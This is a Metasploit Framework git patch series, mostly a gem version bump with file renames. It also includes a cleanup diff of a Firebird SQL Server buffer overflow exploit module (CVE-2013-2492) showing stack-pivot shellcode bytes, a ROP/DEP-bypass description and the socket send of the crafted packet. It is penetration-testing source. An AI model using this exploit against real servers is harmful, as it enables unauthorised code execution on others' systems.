file mode 100644 index 0000000000..0c73ec36d8 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/engine.rb @@ -0,0 +1,23 @@ +require 'rails' + +module MetasploitDataModels + class Engine < Rails::Engine + # @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl + config.generators do |g| + g.assets false + g.fixture_replacement :factory_girl, :dir => 'spec/factories' + g.helper false + g.test_framework :rspec, :fixture => false + end + + initializer 'metasploit_data_models.prepend_factory_path', :after => 'factory_girl.set_factory_paths' do + if defined? FactoryGirl + relative_definition_file_path = config.generators.options[:factory_girl][:dir] + definition_file_path = root.join(relative_definition_file_path) + + # unshift so that Pro can modify mdm factories + FactoryGirl.definition_file_paths.unshift definition_file_path + end + end + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/serialized_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/serialized_prefs.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/serialized_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/serialized_prefs.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/ip_format_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/validators/ip_format_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/ip_format_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/validators/ip_format_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/version.rb similarity index 96% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/version.rb index 6532b907d4..3e50a597ca 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/metasploit_data_models/version.rb @@ -4,5 +4,5 @@ module MetasploitDataModels # metasploit-framework/data/sql/migrate to db/migrate in this project, not all models have specs that verify the # migrations (with have_db_column and have_db_index) and certain models may not be shared between metasploit-framework # and pro, so models may be removed in the future. Because of the unstable API the version should remain below 1.0.0 - VERSION = '0.6.0' + VERSION = '0.6.1' end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/tasks/yard.rake b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/tasks/yard.rake new file mode 100644 index 0000000000..fc5357034e --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/lib/tasks/yard.rake @@ -0,0 +1,26 @@ +# @note All options not specific to any given rake task should go in the .yardopts file so they are available to both +# the below rake tasks and when invoking `yard` from the command line + +if defined? YARD + namespace :yard do + YARD::Rake::YardocTask.new(:doc) do |t| + # --no-stats here as 'stats' task called after will print fuller stats + t.options = ['--no-stats'] + + t.after = Proc.new { + Rake::Task['yard:stats'].execute + } + end + + desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods" + task :stats => :environment do + stats = YARD::CLI::Stats.new + stats.run('--compact', '--list-undoc') + end + end + + # @todo Figure out how to just clone description from yard:doc + desc "Generate YARD documentation" + # allow calling namespace to as a task that goes to default task for namespace + task :yard => ['yard:doc'] +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/metasploit_data_models.gemspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/metasploit_data_models.gemspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/metasploit_data_models.gemspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/metasploit_data_models.gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/app/models/mdm/web_vuln_spec.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/app/models/mdm/web_vuln_spec.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/Rakefile similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/Rakefile rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/Rakefile diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/javascripts/application.js b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/assets/javascripts/application.js similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/javascripts/application.js rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/assets/javascripts/application.js diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/stylesheets/application.css b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/assets/stylesheets/application.css similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/stylesheets/application.css rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/assets/stylesheets/application.css diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/controllers/application_controller.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/controllers/application_controller.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/controllers/application_controller.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/controllers/application_controller.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/helpers/application_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/helpers/application_helper.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/helpers/application_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/helpers/application_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/mailers/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/mailers/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/mailers/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/mailers/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/models/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/models/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/models/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/models/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/views/layouts/application.html.erb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/views/layouts/application.html.erb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/views/layouts/application.html.erb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/app/views/layouts/application.html.erb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config.ru b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config.ru similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config.ru rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config.ru diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/application.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/application.rb similarity index 98% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/application.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/application.rb index 52720f259a..12e48c8451 100644 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/application.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/application.rb @@ -2,7 +2,7 @@ require File.expand_path('../boot', __FILE__) require 'rails/all' -Bundler.require +Bundler.require(*Rails.groups) # require the engine being tested. In a non-dummy app this would be handled by the engine's gem being in the Gemfile # for real app and Bundler.require requiring the gem. require 'metasploit_data_models' diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/boot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/boot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/boot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/boot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/database.yml.example b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/database.yml.example similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/database.yml.example rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/database.yml.example diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/environment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/environment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/development.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/environments/development.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/development.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/environments/development.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/production.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/environments/production.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/production.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/environments/production.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/test.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/environments/test.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/test.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/environments/test.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/backtrace_silencers.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/backtrace_silencers.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/backtrace_silencers.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/backtrace_silencers.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/inflections.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/inflections.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/inflections.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/inflections.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/mime_types.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/mime_types.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/mime_types.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/mime_types.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/secret_token.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/secret_token.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/secret_token.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/secret_token.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/session_store.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/session_store.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/session_store.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/session_store.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/wrap_parameters.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/wrap_parameters.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/wrap_parameters.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/initializers/wrap_parameters.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/routes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/routes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/routes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/config/routes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/db/schema.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/db/schema.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/db/schema.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/db/schema.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/lib/assets/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/lib/assets/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/lib/assets/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/lib/assets/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/log/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/log/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/log/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/log/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/404.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/public/404.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/404.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/public/404.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/422.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/public/422.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/422.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/public/422.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/500.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/public/500.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/500.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/public/500.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/favicon.ico b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/public/favicon.ico similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/favicon.ico rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/public/favicon.ico diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/dummy/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/addresses.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/addresses.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/services.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/services.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/users.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/users.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/web_sites.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/web_sites.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/web_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/web_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/factories/mdm/workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/lib/base64_serializer_spec.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/lib/base64_serializer_spec.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/spec_helper.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/spec_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.1/spec/spec_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.1.gemspec similarity index 97% rename from lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec rename to lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.1.gemspec index 4a19d34025..97e54b4349 100644 --- a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.0.gemspec +++ b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.6.1.gemspec @@ -2,11 +2,11 @@ Gem::Specification.new do |s| s.name = "metasploit_data_models" - s.version = "0.6.0" + s.version = "0.6.1" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["Trevor Rosen"] - s.date = "2013-03-06" + s.date = "2013-03-07" s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions." s.email = ["trevor_rosen@rapid7.com"] s.executables = ["mdm_console"] From ab44e3e64335e5d3b2aef36e72be9a802411ca5c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 7 Mar 2013 21:34:07 +0100 Subject: [PATCH 333/341] cleanup for fb_cnct_group --- .../exploits/windows/misc/fb_cnct_group.rb | 38 +++++++++---------- 1 file changed, 18 insertions(+), 20 deletions(-) diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb index e7dae86c27..9e3a4d9717 100644 --- a/modules/exploits/windows/misc/fb_cnct_group.rb +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -15,24 +15,22 @@ class Metasploit3 < Msf::Exploit::Remote super( 'Name' => 'Firebird Relational Database CNCT Group Number Buffer Overflow', 'Description' => %q{ - This module exploits a vulnerability in Firebird SQL Server. A - specially crafted packet can be sent which will overwrite a pointer - allowing the attacker to control where data is read from. Shortly following - the controlled read, the pointer is called resulting in code execution. + This module exploits a vulnerability in Firebird SQL Server. A specially + crafted packet can be sent which will overwrite a pointer allowing the attacker to + control where data is read from. Shortly, following the controlled read, the + pointer is called resulting in code execution. - The vulnerability exists with a group number is extracted from the CNCT information - which is sent by the client and the size is not properly checked. + The vulnerability exists with a group number extracted from the CNCT information, + which is sent by the client, and whose size is not properly checked. - This module utilizes an existing call to memcpy just prior to the vulnerable exception - which allows a small amount of data to be written to the stack. A small stackpivot is - used to execute a small ROP chain which provides a larger stack pivot to a larger ROP - chain which ultimately is used to execute VirtualAlloc and bypass DEP. + This module uses an existing call to memcpy, just prior to the vulnerable code, + which allows a small amount of data to be written to the stack. A two-phases + stackpivot allows to execute the ROP chain which ultimately is used to execute + VirtualAlloc and bypass DEP. }, - 'Author' => [ - 'Spencer McIntyre' - ], - 'Arch' => [ ARCH_X86 ], - 'Platform' => [ 'win' ], + 'Author' => 'Spencer McIntyre', + 'Arch' => ARCH_X86, + 'Platform' => 'win', 'References' => [ [ 'CVE', '2013-2492' ] @@ -43,10 +41,10 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Payload' => { - # mov eax,fs:[0x18] # add eax,8 # mov esp,[eax] - 'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20", - 'Space' => 400, - 'BadChars' => "\x00\x0a\x0d", + # Stackpivot => mov eax,fs:[0x18] # add eax,8 # mov esp,[eax] + 'Prepend' => "\x64\xa1\x18\x00\x00\x00\x83\xc0\x08\x8b\x20", + 'Space' => 400, + 'BadChars' => "\x00\x0a\x0d", }, 'Targets' => [ @@ -234,7 +232,7 @@ class Metasploit3 < Msf::Exploit::Remote evil_data << final_rop_chain evil_data << payload.encoded - print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Connection Request For #{filename}") + print_status("#{rhost}:#{rport} - Sending Connection Request For #{filename}") sock.put(evil_data) disconnect From 8abcc5a1d4d96da8cc632575e99a86e6020d3be3 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 7 Mar 2013 14:34:44 -0600 Subject: [PATCH 334/341] Whitespace --- spec/lib/rex/sslscan/result_spec.rb | 102 ++++++++++++++-------------- 1 file changed, 51 insertions(+), 51 deletions(-) diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index c0086782d6..1c5c47ad37 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -1,7 +1,7 @@ require 'rex/sslscan/result' describe Rex::SSLScan::Result do - + subject{Rex::SSLScan::Result.new} it { should respond_to :accepted } @@ -104,7 +104,7 @@ describe Rex::SSLScan::Result do it "given an invalid SSL version" do expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error end - + it "given SSL version as a string" do expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error end @@ -138,11 +138,11 @@ describe Rex::SSLScan::Result do begin subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) subject.accepted(:SSLv2).should include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - 